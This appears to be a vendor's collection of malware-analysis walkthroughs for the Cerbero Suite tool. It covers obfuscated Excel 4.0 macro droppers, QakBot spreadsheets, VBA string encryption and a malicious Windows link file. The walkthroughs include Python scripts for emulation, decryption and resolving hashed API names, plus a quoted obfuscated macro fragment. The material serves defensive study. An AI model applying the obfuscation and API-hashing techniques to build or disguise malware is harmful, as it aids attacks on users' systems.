Obfuscated XLSB Malware Analysis

This analysis was originally posted as a thread on Twitter.

SHA256: B17FA8AD0F315C1C6E28BAFC5A97969728402510E2D7DC31A7960BD48DE3FCB6

By previewing the spreadsheet in Cerbero Suite, we can see that the macros are obfuscated.

An obfuscated formula looks like this:

=ATAN(83483899833434.0)=ATAN(9.34889399761e+16)=ATAN(234889343300.0)=FORMULA.ARRAY('erj74^#MNDKJ3OODL _ WEKJKJERKE '!AT24&'erj74^#MNDKJ3OODL _ WEKJKJERKE '!AT27&'erj74^#MNDKJ3OODL _ WEKJKJERKE '!AT29&'erj74^#MNDKJ3OODL _ WEKJKJERKE '!AT30&'erj74^#MNDKJ3OODL _ WEKJKJERKE '!AT31&'erj74^#MNDKJ3OODL _ WEKJKJERKE '!AT33&'erj74^#MNDKJ3OODL _ WEKJKJERKE '!AT34&'erj74^#MNDKJ3OODL _ WEKJKJERKE '!AT35, AH24)=ATAN(2.89434323983348e+16)=ATAN(9.48228984399761e+19)=ATAN(2433488348300.0)

The malware uses the ATAN macro and a very long sheet name for obfuscation.

We open a new Python editor and execute the action “Insert Python snippet” (Ctrl+R).

We insert the Silicon/Spreadsheet snippet to replace formulas.

We uncomment both example regular expressions, as they were written based on this sample. One regex removes the ATAN macro and the other removes the sheet name from cell names. Since there’s only one spreadsheet, no extra logic is needed.

We then execute the script (Ctrl+E).

The script modifies 12 formulas. At this point we can easily identify CALL and EXEC macros and use the Silicon Excel Emulator to emulate them.

Just by emulating CALL/EXEC, we can see that the malware creates a directory, downloads a file into it and executes it.

Finished.

Video: 20-Seconds Excel Malware Analysis

This sample is encrypted and contains bogus code.

SHA256: 5B630BA4CB34C23C897084259AD3A00BF31A1E03B080AE7DE5D58B5E0F1EBF08
Source: InQuest.

In many cases following the code flow of Excel malware is not necessary: using the formula view and our Silicon Excel Emulator is often enough.

A Fun CTF-Like Malware

From a Twitter post by InQuest, we analyzed an interesting malware:

Encrypted MS Office Document, VBA, Windows Link File (LNK), OLE objects, Windows Help Files (CHM), PNG steganography and Powershell.

SHA256: 46AFA83E0B43FDB9062DD3E5FB7805997C432DD96F09DDF81F2162781DAAF834

The analysis should take about 15-20 minutes in Cerbero Suite.

Highly recommended!

SPOILER ALERT: The images below show all the steps of our analysis.

Video: 3-Minutes Self-Decrypting Excel Malware Analysis

The script below shows how to brute-force the decryption of the code. It is not necessary, as in the video we calculate the correct value of the W86 cell manually, but the snippet might be useful for future samples.

from Pro.SiliconSpreadsheet import *
from Pro.UI import proContext

v = proContext().findView("Analysis [selfdecrxls]")
if v.isValid():
    view = SiliconSpreadsheetWorkspaceView(v)
    emu = view.getExcelEmulator()
    formula = """CHAR(A1-W86)&CHAR(A2-W86)&CHAR(A3-W86)&CHAR(A5-W86)&CHAR(A6-W86)&CHAR(A7-W86)&CHAR(A8-W86)&CHAR(A9-W86)&CHAR(A11-W86)&CHAR(A12-W86)&CHAR(A13-W86)&CHAR(A14-W86)&CHAR(A16-W86)&CHAR(A17-W86)&CHAR(A18-W86)&CHAR(A19-W86)&CHAR(A20-W86)&CHAR(A22-W86)&CHAR(A23-W86)&CHAR(A24-W86)&CHAR(A25-W86)&CHAR(A27-W86)&CHAR(A28-W86)&CHAR(A29-W86)&CHAR(A30-W86)&CHAR(A32-W86)&CHAR(A33-W86)&CHAR(A34-W86)&CHAR(A35-W86)&CHAR(A36-W86)&CHAR(A38-W86)&CHAR(A39-W86)&CHAR(A40-W86)&CHAR(A41-W86)&CHAR(A42-W86)&CHAR(A44-W86)&CHAR(A45-W86)&CHAR(A46-W86)&CHAR(A47-W86)&CHAR(A48-W86)"""
    cell_index = SiliconSpreadsheetUtil.cellIndex("'rZVUfQRQoV'!W86")
    ws = emu.getWorkspace()
    sheet = ws.getSheet(ws.sheetIndexFromName(cell_index.sheet))
    for i in range(1, 270):       
        sheet.addCell(cell_index.column, cell_index.row, SiliconSpreadsheetValueType_Number, str(i))
        res = emu.evaluate(formula, cell_index)
        print(str(i) + ":", res.getValue())
else:
    print("error: couldn't find view")

Video: 1.5-Minutes QakBot Excel Malware Analysis (2nd sample)

The script extends the Silicon Excel Emulator by implementing th “FORMULA” function:

from Pro.SiliconSpreadsheet import *
from Pro.UI import proContext

class EmulatorHelper(SiliconExcelEmulatorHelper):

    def __init__(self):
        super(EmulatorHelper, self).__init__()
        
    def evaluateFunction(self, emu, ctx, opts, depth, e):
        function_name = e.toString()
        if function_name == "FORMULA":
            if emu.expectedArguments(e, 2, 2):
                ve = emu.argToValue(ctx, opts, depth, e, 0)
                v = emu.valueToSpreadsheetValue(ve)
                idxstr = emu.argToValue(ctx, 0, depth, e, 1).toString()
                idx = SiliconSpreadsheetUtil.cellIndex(idxstr)
                print("FORMULA:", idxstr, "=", emu.valueToString(ve))
                # add the cell to the sheet
                ws = emu.getWorkspace()
                sheet_idx = ws.sheetIndexFromName(idx.sheet if idx.sheet else ctx.idx.sheet)
                sheet = ws.getSheet(sheet_idx)
                sheet.addCell(idx.column, idx.row, v.type, v.value)
                return SiliconExcelEmulatorValue(SiliconSpreadsheetValueType_Null, 0)
        return SiliconExcelEmulatorValue()

v = proContext().findView("Analysis [qakbot_xls_2]")
if v.isValid():
    view = SiliconSpreadsheetWorkspaceView(v)
    helper = EmulatorHelper()
    emu = view.getExcelEmulator()
    emu.setHelper(helper)
else:
    print("error: couldn't find view")

Video: 2-Minutes QakBot Excel Malware Analysis

The script extends the Silicon Excel Emulator by implementing the “NOW” and “FORMULA.FILL” functions:

from Pro.SiliconSpreadsheet import *
from Pro.UI import proContext

class EmulatorHelper(SiliconExcelEmulatorHelper):

    def __init__(self):
        super(EmulatorHelper, self).__init__()
        
    def evaluateFunction(self, emu, ctx, opts, depth, e):
        function_name = e.toString()
        if function_name == "FORMULA.FILL":
            if emu.expectedArguments(e, 2, 2):
                ve = emu.argToValue(ctx, opts, depth, e, 0)
                v = emu.valueToSpreadsheetValue(ve)
                idxstr = emu.argToValue(ctx, 0, depth, e, 1).toString()
                idx = SiliconSpreadsheetUtil.cellIndex(idxstr)
                print("FORMULA.FILL:", idxstr, "=", emu.valueToString(ve))
                # add the cell to the sheet
                ws = emu.getWorkspace()
                sheet_idx = ws.sheetIndexFromName(idx.sheet if idx.sheet else ctx.idx.sheet)
                sheet = ws.getSheet(sheet_idx)
                sheet.addCell(idx.column, idx.row, v.type, v.value)
                return SiliconExcelEmulatorValue(SiliconSpreadsheetValueType_Null, 0)
        elif function_name == "NOW":
            return SiliconExcelEmulatorValue(SiliconSpreadsheetValueType_Number, "44249.708602")
        return SiliconExcelEmulatorValue()

v = proContext().findView("Analysis [qakbot_xls_0]")
if v.isValid():
    view = SiliconSpreadsheetWorkspaceView(v)
    helper = EmulatorHelper()
    emu = view.getExcelEmulator()
    emu.setHelper(helper)
else:
    print("error: couldn't find view")

Video: In-Depth Obfuscated VBA Analysis

This script concatenates strings such as “a” + “b”:

from Pro.UI import *
import re

ctx = proContext()
v = ctx.getCurrentView()
if v.isValid() and v.hasSelection():
    s = v.getSelectedText().replace('" &', '" +')
    s = eval(s)
    v.setSelectedText('"' + s + '"')

This second script decrypts strings the same way as the “NobosMeik” function:

from Pro.UI import *
import base64

ctx = proContext()
v = ctx.getCurrentView()
if v.isValid() and v.hasSelection():
    s = v.getSelectedText()
    s = base64.b64decode(s)
    key = b"versache"
    s2 = bytearray(s)
    y = 0
    tire = lambda r, g: (r & ~g) | (~r & g)
    for x in range(len(s)):
        s2[x] = tire(s2[x], key[y])
        if y < len(key) - 1:
            y += 1
        else:
            y = 0
    print(s2)

Malicious Windows Link with Embedded Microsoft Cabinet

You can find the original analysis for this malware at malwarebytes. As a bonus, in the video we show how to improve the static analysis of the final payload by resolving API calls.

This script converts the decrypted blob hashes into a call index → api name dictionary.

blob = bytes([
    0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x31, 0x33, 0x38,
    0x36, 0x35, 0x31, 0x35, 0x38, 0x33, 0x38, 0x00, 0x31, 0x33, 0x30, 0x30, 0x36, 0x38, 0x33, 0x31,
    0x31, 0x34, 0x00, 0x2D, 0x32, 0x30, 0x39, 0x30, 0x39, 0x37, 0x30, 0x37, 0x38, 0x36, 0x00, 0x2D,
    0x31, 0x30, 0x37, 0x36, 0x33, 0x33, 0x30, 0x35, 0x31, 0x36, 0x00, 0x36, 0x38, 0x32, 0x36, 0x35,
    0x37, 0x37, 0x34, 0x37, 0x00, 0x2D, 0x31, 0x31, 0x32, 0x31, 0x31, 0x39, 0x38, 0x30, 0x38, 0x30,
    0x00, 0x2D, 0x39, 0x32, 0x32, 0x37, 0x39, 0x35, 0x39, 0x34, 0x39, 0x00, 0x2D, 0x35, 0x37, 0x39,
    0x39, 0x32, 0x39, 0x31, 0x30, 0x38, 0x00, 0x39, 0x37, 0x30, 0x39, 0x31, 0x30, 0x32, 0x33, 0x34,
    0x00, 0x39, 0x38, 0x32, 0x34, 0x34, 0x34, 0x35, 0x37, 0x30, 0x00, 0x31, 0x33, 0x33, 0x39, 0x39,
    0x37, 0x32, 0x38, 0x32, 0x36, 0x00, 0x31, 0x33, 0x35, 0x31, 0x35, 0x30, 0x37, 0x31, 0x36, 0x32,
    0x00, 0x38, 0x33, 0x36, 0x36, 0x35, 0x36, 0x30, 0x32, 0x36, 0x00, 0x38, 0x34, 0x38, 0x31, 0x39,
    0x30, 0x33, 0x36, 0x32, 0x00, 0x31, 0x32, 0x33, 0x39, 0x33, 0x30, 0x38, 0x39, 0x35, 0x34, 0x00,
    0x31, 0x32, 0x35, 0x30, 0x38, 0x34, 0x33, 0x32, 0x39, 0x30, 0x00, 0x2D, 0x31, 0x36, 0x35, 0x34,
    0x36, 0x34, 0x36, 0x37, 0x33, 0x35, 0x00, 0x2D, 0x38, 0x34, 0x38, 0x34, 0x30, 0x30, 0x33, 0x33,
    0x38, 0x00, 0x32, 0x30, 0x38, 0x35, 0x34, 0x38, 0x30, 0x34, 0x35, 0x39, 0x00, 0x2D, 0x36, 0x35,
    0x32, 0x32, 0x33, 0x31, 0x35, 0x33, 0x37, 0x00, 0x33, 0x38, 0x39, 0x36, 0x30, 0x38, 0x37, 0x38,
    0x37, 0x00, 0x2D, 0x38, 0x38, 0x35, 0x38, 0x30, 0x35, 0x33, 0x36, 0x30, 0x00, 0x2D, 0x32, 0x30,
    0x34, 0x39, 0x36, 0x33, 0x31, 0x30, 0x30, 0x38, 0x00, 0x2D, 0x32, 0x35, 0x31, 0x31, 0x33, 0x31,
    0x30, 0x33, 0x32, 0x00, 0x2D, 0x31, 0x37, 0x33, 0x38, 0x37, 0x33, 0x33, 0x32, 0x32, 0x30, 0x00,
    0x2D, 0x32, 0x31, 0x31, 0x31, 0x31, 0x37, 0x30, 0x32, 0x31, 0x34, 0x00, 0x31, 0x34, 0x37, 0x31,
    0x33, 0x34, 0x32, 0x30, 0x33, 0x39, 0x00, 0x36, 0x35, 0x36, 0x38, 0x39, 0x38, 0x36, 0x34, 0x36,
    0x00, 0x31, 0x34, 0x37, 0x33, 0x31, 0x32, 0x31, 0x30, 0x35, 0x30, 0x00, 0x33, 0x35, 0x35, 0x32,
    0x35, 0x31, 0x34, 0x38, 0x39, 0x00, 0x31, 0x38, 0x31, 0x38, 0x33, 0x37, 0x33, 0x35, 0x30, 0x37,
    0x00, 0x2D, 0x38, 0x30, 0x33, 0x37, 0x38, 0x36, 0x36, 0x34, 0x31, 0x00, 0x31, 0x31, 0x38, 0x32,
    0x36, 0x34, 0x39, 0x34, 0x34, 0x34, 0x00, 0x39, 0x31, 0x37, 0x30, 0x35, 0x34, 0x36, 0x32, 0x37,
    0x00, 0x2D, 0x31, 0x39, 0x36, 0x35, 0x30, 0x37, 0x35, 0x34, 0x39, 0x37, 0x00, 0x32, 0x31, 0x31,
    0x30, 0x32, 0x30, 0x36, 0x30, 0x38, 0x36, 0x00, 0x2D, 0x31, 0x30, 0x38, 0x37, 0x31, 0x32, 0x30,
    0x32, 0x36, 0x34, 0x00, 0x36, 0x30, 0x35, 0x39, 0x36, 0x30, 0x39, 0x35, 0x38, 0x00, 0x33, 0x39,
    0x37, 0x36, 0x36, 0x35, 0x37, 0x33, 0x37, 0x00, 0x31, 0x35, 0x33, 0x39, 0x37, 0x31, 0x30, 0x33,
    0x37, 0x35, 0x00, 0x39, 0x35, 0x38, 0x37, 0x38, 0x36, 0x32, 0x32, 0x37, 0x00, 0x38, 0x32, 0x31,
    0x39, 0x38, 0x30, 0x39, 0x34, 0x37, 0x00, 0x2D, 0x31, 0x37, 0x39, 0x39, 0x37, 0x38, 0x30, 0x38,
    0x32, 0x37, 0x00, 0x31, 0x34, 0x30, 0x38, 0x30, 0x35, 0x39, 0x31, 0x34, 0x36, 0x00, 0x2D, 0x32,
    0x31, 0x32, 0x37, 0x36, 0x38, 0x35, 0x36, 0x33, 0x35, 0x00, 0x31, 0x33, 0x36, 0x39, 0x31, 0x30,
    0x33, 0x34, 0x34, 0x36, 0x00, 0x32, 0x39, 0x38, 0x32, 0x37, 0x30, 0x30, 0x34, 0x39, 0x00, 0x31,
    0x34, 0x33, 0x37, 0x39, 0x33, 0x34, 0x37, 0x39, 0x31, 0x00, 0x2D, 0x31, 0x33, 0x39, 0x32, 0x33,
    0x34, 0x39, 0x36, 0x31, 0x38, 0x00, 0x6E, 0x74, 0x64, 0x6C, 0x6C, 0x2E, 0x64, 0x6C, 0x6C, 0x00,
    0x2D, 0x31, 0x39, 0x36, 0x38, 0x38, 0x35, 0x32, 0x38, 0x31, 0x37, 0x00, 0x2D, 0x31, 0x31, 0x33,
    0x35, 0x39, 0x32, 0x35, 0x30, 0x32, 0x36, 0x00, 0x39, 0x36, 0x31, 0x30, 0x31, 0x34, 0x33, 0x32,
    0x35, 0x00, 0x2D, 0x35, 0x39, 0x33, 0x32, 0x35, 0x30, 0x38, 0x33, 0x00, 0x2D, 0x38, 0x35, 0x31,
    0x36, 0x32, 0x34, 0x32, 0x33, 0x38, 0x00, 0x31, 0x34, 0x35, 0x34, 0x38, 0x34, 0x33, 0x36, 0x36,
    0x32, 0x00, 0x2D, 0x31, 0x34, 0x36, 0x37, 0x34, 0x38, 0x34, 0x33, 0x30, 0x35, 0x00, 0x75, 0x73,
    0x65, 0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x2D, 0x35, 0x33, 0x31, 0x31, 0x33, 0x31,
    0x35, 0x39, 0x37, 0x00, 0x2D, 0x35, 0x33, 0x35, 0x30, 0x34, 0x36, 0x36, 0x30, 0x35, 0x00, 0x2D,
    0x31, 0x34, 0x36, 0x33, 0x30, 0x34, 0x35, 0x39, 0x32, 0x37, 0x00, 0x77, 0x73, 0x32, 0x5F, 0x33,
    0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x2D, 0x38, 0x35, 0x33, 0x30, 0x36, 0x32, 0x37, 0x38, 0x34,
    0x00, 0x2D, 0x38, 0x34, 0x33, 0x36, 0x33, 0x30, 0x34, 0x30, 0x30, 0x00, 0x2D, 0x38, 0x31, 0x38,
    0x31, 0x36, 0x34, 0x31, 0x37, 0x33, 0x00, 0x31, 0x38, 0x35, 0x31, 0x33, 0x38, 0x33, 0x37, 0x38,
    0x33, 0x00, 0x31, 0x35, 0x33, 0x34, 0x32, 0x31, 0x36, 0x35, 0x36, 0x38, 0x00, 0x2D, 0x37, 0x31,
    0x38, 0x39, 0x31, 0x34, 0x36, 0x38, 0x38, 0x00, 0x31, 0x38, 0x33, 0x31, 0x32, 0x39, 0x31, 0x32,
    0x35, 0x33, 0x00, 0x31, 0x33, 0x32, 0x38, 0x31, 0x37, 0x32, 0x30, 0x38, 0x32, 0x00, 0x2D, 0x38,
    0x31, 0x35, 0x35, 0x39, 0x34, 0x31, 0x35, 0x33, 0x00, 0x31, 0x36, 0x34, 0x37, 0x38, 0x38, 0x39,
    0x38, 0x39, 0x37, 0x00, 0x2D, 0x31, 0x31, 0x35, 0x30, 0x37, 0x31, 0x34, 0x34, 0x31, 0x36, 0x00,
    0x2D, 0x36, 0x32, 0x32, 0x37, 0x30, 0x32, 0x34, 0x34, 0x38, 0x00, 0x2D, 0x35, 0x30, 0x39, 0x36,
    0x34, 0x39, 0x39, 0x39, 0x36, 0x00, 0x2D, 0x32, 0x30, 0x39, 0x39, 0x32, 0x32, 0x37, 0x30, 0x35,
    0x33, 0x00, 0x2D, 0x32, 0x30, 0x39, 0x37, 0x38, 0x31, 0x34, 0x33, 0x34, 0x39, 0x00, 0x2D, 0x35,
    0x37, 0x33, 0x39, 0x32, 0x34, 0x36, 0x34, 0x35, 0x00, 0x2D, 0x31, 0x37, 0x35, 0x34, 0x39, 0x32,
    0x32, 0x33, 0x32, 0x31, 0x00, 0x2D, 0x31, 0x37, 0x35, 0x34, 0x39, 0x32, 0x32, 0x33, 0x32, 0x34,
    0x00, 0x31, 0x35, 0x32, 0x36, 0x33, 0x36, 0x38, 0x34, 0x31, 0x32, 0x00, 0x31, 0x32, 0x39, 0x36,
    0x37, 0x36, 0x30, 0x31, 0x31, 0x35, 0x00, 0x31, 0x34, 0x34, 0x37, 0x37, 0x31, 0x37, 0x36, 0x32,
    0x37, 0x00, 0x2D, 0x38, 0x37, 0x37, 0x33, 0x33, 0x31, 0x37, 0x34, 0x39, 0x00, 0x31, 0x33, 0x33,
    0x32, 0x39, 0x32, 0x36, 0x37, 0x30, 0x37, 0x00, 0x32, 0x30, 0x30, 0x36, 0x32, 0x33, 0x31, 0x30,
    0x39, 0x31, 0x00, 0x41, 0x64, 0x76, 0x61, 0x70, 0x69, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00,
    0x31, 0x36, 0x30, 0x32, 0x33, 0x36, 0x32, 0x39, 0x30, 0x30, 0x00, 0x31, 0x39, 0x34, 0x33, 0x30,
    0x38, 0x38, 0x38, 0x30, 0x35, 0x00, 0x31, 0x35, 0x39, 0x35, 0x31, 0x36, 0x37, 0x31, 0x37, 0x00,
    0x38, 0x32, 0x37, 0x31, 0x39, 0x39, 0x36, 0x33, 0x33, 0x00, 0x2D, 0x31, 0x35, 0x32, 0x31, 0x35,
    0x39, 0x39, 0x31, 0x30, 0x37, 0x00, 0x39, 0x37, 0x38, 0x36, 0x39, 0x32, 0x39, 0x36, 0x39, 0x00,
    0x37, 0x34, 0x32, 0x38, 0x33, 0x36, 0x35, 0x31, 0x33, 0x00, 0x37, 0x34, 0x30, 0x34, 0x37, 0x37,
    0x31, 0x38, 0x35, 0x00, 0x31, 0x33, 0x38, 0x31, 0x31, 0x36, 0x33, 0x36, 0x36, 0x39, 0x00, 0x52,
    0x70, 0x63, 0x72, 0x74, 0x34, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x31, 0x38, 0x36, 0x36, 0x33, 0x34,
    0x32, 0x38, 0x36, 0x33, 0x00, 0x57, 0x69, 0x6E, 0x68, 0x74, 0x74, 0x70, 0x2E, 0x64, 0x6C, 0x6C,
    0x00, 0x33, 0x30, 0x38, 0x36, 0x31, 0x33, 0x31, 0x36, 0x38, 0x00, 0x31, 0x38, 0x34, 0x34, 0x38,
    0x37, 0x33, 0x32, 0x33, 0x35, 0x00, 0x2D, 0x36, 0x32, 0x36, 0x33, 0x34, 0x32, 0x36, 0x33, 0x00,
    0x32, 0x36, 0x38, 0x39, 0x38, 0x32, 0x38, 0x34, 0x36, 0x00, 0x31, 0x39, 0x35, 0x34, 0x30, 0x32,
    0x32, 0x34, 0x38, 0x35, 0x00, 0x32, 0x33, 0x35, 0x36, 0x39, 0x38, 0x35, 0x39, 0x39, 0x00, 0x35,
    0x34, 0x31, 0x37, 0x35, 0x37, 0x33, 0x35, 0x39, 0x00, 0x31, 0x31, 0x34, 0x32, 0x32, 0x31, 0x30,
    0x39, 0x38, 0x30, 0x00, 0x2D, 0x33, 0x31, 0x34, 0x36, 0x35, 0x30, 0x32, 0x38, 0x00, 0x2D, 0x36,
    0x30, 0x39, 0x31, 0x37, 0x39, 0x32, 0x31, 0x00, 0x2D, 0x36, 0x34, 0x35, 0x33, 0x37, 0x30, 0x34,
    0x38, 0x39, 0x00, 0x35, 0x38, 0x36, 0x36, 0x30, 0x38, 0x39, 0x31, 0x36, 0x00, 0x38, 0x31, 0x33,
    0x35, 0x33, 0x35, 0x38, 0x36, 0x37, 0x00, 0x2D, 0x32, 0x31, 0x33, 0x31, 0x33, 0x31, 0x32, 0x31,
    0x35, 0x38, 0x00, 0x2D, 0x32, 0x31, 0x33, 0x30, 0x36, 0x30, 0x33, 0x32, 0x38, 0x34, 0x00, 0x31,
    0x35, 0x32, 0x37, 0x33, 0x39, 0x30, 0x30, 0x32, 0x00, 0x49, 0x70, 0x68, 0x6C, 0x70, 0x61, 0x70,
    0x69, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x38, 0x30, 0x36, 0x34, 0x37, 0x33, 0x33, 0x35, 0x36, 0x00,
    0x43, 0x72, 0x79, 0x70, 0x74, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x31, 0x34, 0x33, 0x34,
    0x31, 0x38, 0x33, 0x31, 0x38, 0x39, 0x00, 0x2D, 0x31, 0x32, 0x30, 0x38, 0x36, 0x30, 0x33, 0x32,
    0x00, 0x53, 0x68, 0x6C, 0x77, 0x61, 0x70, 0x69, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x2D, 0x31, 0x31,
    0x36, 0x30, 0x32, 0x39, 0x30, 0x30, 0x37, 0x30, 0x00, 0x55, 0x72, 0x6C, 0x6D, 0x6F, 0x6E, 0x2E,
    0x64, 0x6C, 0x6C, 0x00, 0x2D, 0x37, 0x37, 0x36, 0x37, 0x36, 0x35, 0x30, 0x36, 0x34, 0x00, 0x6D,
    0x73, 0x76, 0x63, 0x72, 0x74, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x31, 0x38, 0x30, 0x31, 0x31, 0x32,
    0x30, 0x31, 0x31, 0x35, 0x00, 0x31, 0x36, 0x35, 0x36, 0x39, 0x34, 0x35, 0x34, 0x39, 0x35, 0x00,
    0x31, 0x32, 0x36, 0x36, 0x38, 0x37, 0x31, 0x33, 0x34, 0x37, 0x00, 0x31, 0x32, 0x36, 0x32, 0x31,
    0x35, 0x32, 0x35, 0x36, 0x33, 0x00, 0x2D, 0x31, 0x34, 0x34, 0x31, 0x36, 0x31, 0x33, 0x32, 0x32,
    0x32, 0x00, 0x2D, 0x37, 0x31, 0x38, 0x33, 0x31, 0x36, 0x37, 0x33, 0x36, 0x00, 0x2D, 0x33, 0x34,
    0x35, 0x38, 0x31, 0x37, 0x37, 0x39, 0x38, 0x00, 0x2D, 0x33, 0x34, 0x37, 0x31, 0x39, 0x38, 0x35,
    0x32, 0x38, 0x00, 0x31, 0x38, 0x30, 0x37, 0x36, 0x35, 0x37, 0x39, 0x36, 0x38, 0x00, 0x31, 0x31,
    0x36, 0x30, 0x31, 0x39, 0x39, 0x30, 0x39, 0x38, 0x00, 0x2D, 0x39, 0x38, 0x37, 0x32, 0x38, 0x34,
    0x36, 0x30, 0x38, 0x00, 0x31, 0x31, 0x31, 0x32, 0x39, 0x31, 0x31, 0x38, 0x33, 0x32, 0x00, 0x2D,
    0x35, 0x32, 0x30, 0x37, 0x30, 0x31, 0x30, 0x33, 0x31, 0x00, 0x2D, 0x35, 0x32, 0x30, 0x37, 0x30,
    0x34, 0x37, 0x31, 0x31, 0x00, 0x00
    ])

from Pro.Core import *
from Pro.PE import *
from Pro.ccast import *

ror = lambda val, r_bits, max_bits: \
    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

def getAPIs(dllpath):
    apis = {}
    c = createContainerFromFile(dllpath)
    dll = PEObject()
    if not dll.Load(c):
        print("error: couldn't load dll")
        return apis
    ordbase = dll.ExportDirectory().Num("Base")
    functions = dll.ExportDirectoryFunctions()
    names = dll.ExportDirectoryNames()
    nameords = dll.ExportDirectoryNameOrdinals()
    n = functions.Count()
    it = functions.iterator()
    for x in range(n):
        func = it.next()
        ep = func.Num(0)
        if ep == 0:
            continue
        apiord = str(ordbase + x)
        n2 = nameords.Count()
        it2 = nameords.iterator()
        name_found = False
        for y in range(n2):
            no = it2.next()
            if no.Num(0) == x:
                name = names.At(y)
                offs = dll.RvaToOffset(name.Num(0))
                name, ret = dll.ReadUInt8String(offs, 500)
                apiname = name.decode("ascii")
                apis[apiname] = apiord
                apis[apiord] = apiname
                name_found = True
                break
        if not name_found:
            apis[apiord] = apiord
    return apis
    
def hash(name):
    x = 0
    for c in name:
        x = ror(x, 0xD, 32)
        x += ord(c)
    x = ror(x, 0xD, 32)
    return x
    
def hashAPIs(apis):
    hapis = {}
    for i, name in apis.items():
        hapis[hash(name)] = name
    return hapis
    
def walkBlob():
    i = 0
    idxs = {}
    pos = 0
    while i < len(blob):
        e = blob.find(b"\x00", i)
        if i == e:
            break
        s = blob[i:e].decode("ascii")
        i = e + 1
        if "." in s:
            dllname = s
            apis = getAPIs("C:\\Windows\\System32\\" + dllname)
            apis = hashAPIs(apis)
        else:
            x = dword(int(s))
            apiname = apis[x]
            idxs[pos] = apiname
            pos += 0x10
            print(apiname)
    return idxs
            
idxs = walkBlob()
print(idxs)

This script uses the index dictionary from the previous script to comment register-based call instructions in the disassembly with the resolved API name.

idxs = {0: 'VirtualAlloc', 16: 'Sleep', 32: 'CreateThread', 48: 'CloseHandle', 64: 'ReadFile', 80: 'CreateFileA', 96: 'WriteFile', 112: 'GetFileSize', 128: 'lstrlenA', 144: 'lstrlenW', 160: 'lstrcpyA', 176: 'lstrcpyW', 192: 'lstrcatA', 208: 'lstrcatW', 224: 'lstrcmpA', 240: 'lstrcmpW', 256: 'VirtualFree', 272: 'WaitForSingleObject', 288: 'TerminateThread', 304: 'GetTickCount', 320: 'FormatMessageA', 336: 'GetLastError', 352: 'EnterCriticalSection', 368: 'LeaveCriticalSection', 384: 'InitializeCriticalSection', 400: 'DeleteCriticalSection', 416: 'LocalFree', 432: 'MultiByteToWideChar', 448: 'WideCharToMultiByte', 464: 'GetComputerNameW', 480: 'GetModuleFileNameW', 496: 'GetCurrentProcessId', 512: 'GetLocalTime', 528: 'QueryPerformanceFrequency', 544: 'QueryPerformanceCounter', 560: 'IsWow64Process', 576: 'GetCurrentProcess', 592: 'GetVersionExA', 608: 'GlobalFree', 624: 'VirtualFreeEx', 640: 'DuplicateHandle', 656: 'DebugBreak', 672: 'CreateEventW', 688: 'DeviceIoControl', 704: 'DeleteFileA', 720: 'GetTempPathA', 736: 'GetTempFileNameA', 752: 'SetErrorMode', 768: 'FreeLibrary', 784: 'RtlGetNtVersionNumbers', 800: 'RtlNtStatusToDosError', 816: 'RtlDecompressBuffer', 832: 'RtlCompressBuffer', 848: 'RtlGetCompressionWorkSpaceSize', 864: 'NtQuerySystemInformation', 880: 'NtQueryObject', 896: 'PeekMessageW', 912: 'GetMessageW', 928: 'PostThreadMessageW', 944: 'send', 960: 'recv', 976: 'closesocket', 992: 'WSAStartup', 1008: 'socket', 1024: 'bind', 1040: 'listen', 1056: 'accept', 1072: 'connect', 1088: 'WSACleanup', 1104: 'inet_addr', 1120: 'inet_ntoa', 1136: 'htons', 1152: 'getaddrinfo', 1168: 'freeaddrinfo', 1184: 'WSAAddressToStringA', 1200: 'setsockopt', 1216: 'getsockopt', 1232: 'recvfrom', 1248: 'sendto', 1264: 'shutdown', 1280: 'WSAGetLastError', 1296: 'select', 1312: 'getpeername', 1328: 'CryptAcquireContextW', 1344: 'CryptDestroyHash', 1360: 'CryptCreateHash', 1376: 'CryptHashData', 1392: 'CryptGetHashParam', 1408: 'CryptDeriveKey', 1424: 'CryptEncrypt', 1440: 'CryptDecrypt', 1456: 'GetUserNameW', 1472: 'UuidCreate', 1488: 'WinHttpGetIEProxyConfigForCurrentUser', 1504: 'WinHttpOpen', 1520: 'WinHttpGetProxyForUrl', 1536: 'WinHttpCloseHandle', 1552: 'WinHttpConnect', 1568: 'WinHttpOpenRequest', 1584: 'WinHttpAddRequestHeaders', 1600: 'WinHttpSendRequest', 1616: 'WinHttpWriteData', 1632: 'WinHttpQueryDataAvailable', 1648: 'WinHttpQueryOption', 1664: 'WinHttpReceiveResponse', 1680: 'WinHttpReadData', 1696: 'WinHttpSetOption', 1712: 'WinHttpSetCredentials', 1728: 'WinHttpQueryAuthSchemes', 1744: 'GetAdaptersInfo', 1760: 'CryptBinaryToStringA', 1776: 'CryptStringToBinaryA', 1792: 'StrStrIA', 1808: 'URLDownloadToFileA', 1824: 'memset', 1840: 'memmove', 1856: 'memcpy', 1872: 'memcmp', 1888: '_wcsicmp', 1904: 'time', 1920: 'strstr', 1936: 'atoi', 1952: '_itow', 1968: 'srand', 1984: 'rand', 2000: '_wcsnicmp', 2016: 'sprintf', 2032: 'printf'}

from Pro.UI import proContext
from Pro.Carbon import *
from Pro.capstone import *
import re

def commentAPIs():
    md = Cs(CS_ARCH_X86, CS_MODE_64)
    v = proContext().getCurrentView()
    ca = v.getCarbon()
    db = ca.getDB()
    e = caASEntry()
    e.end = 0
    while db.getNextASEntry(e.end, e):
        if e.type_id != CarbonType_I_x64:
            continue
        buf = ca.read(e.start, e.end - e.start)
        insns = md.disasm(buf, 0)
        i = next(insns, None)
        if i.mnemonic != "call":
            continue
        print(i.mnemonic, i.op_str)
        if i.op_str.find("rip") != -1:
            continue
        j = i.op_str.find("+ 0x")
        if j == -1:
            continue
        idx = int(i.op_str[j+2:-1], 16)
        if idx > 0x1000:
            continue
        apiname = idxs.get(idx, None)
        if not apiname:
            continue
        c = caComment()
        if db.getComment(e.start, c) and c.text:
            continue
        c.address = e.start
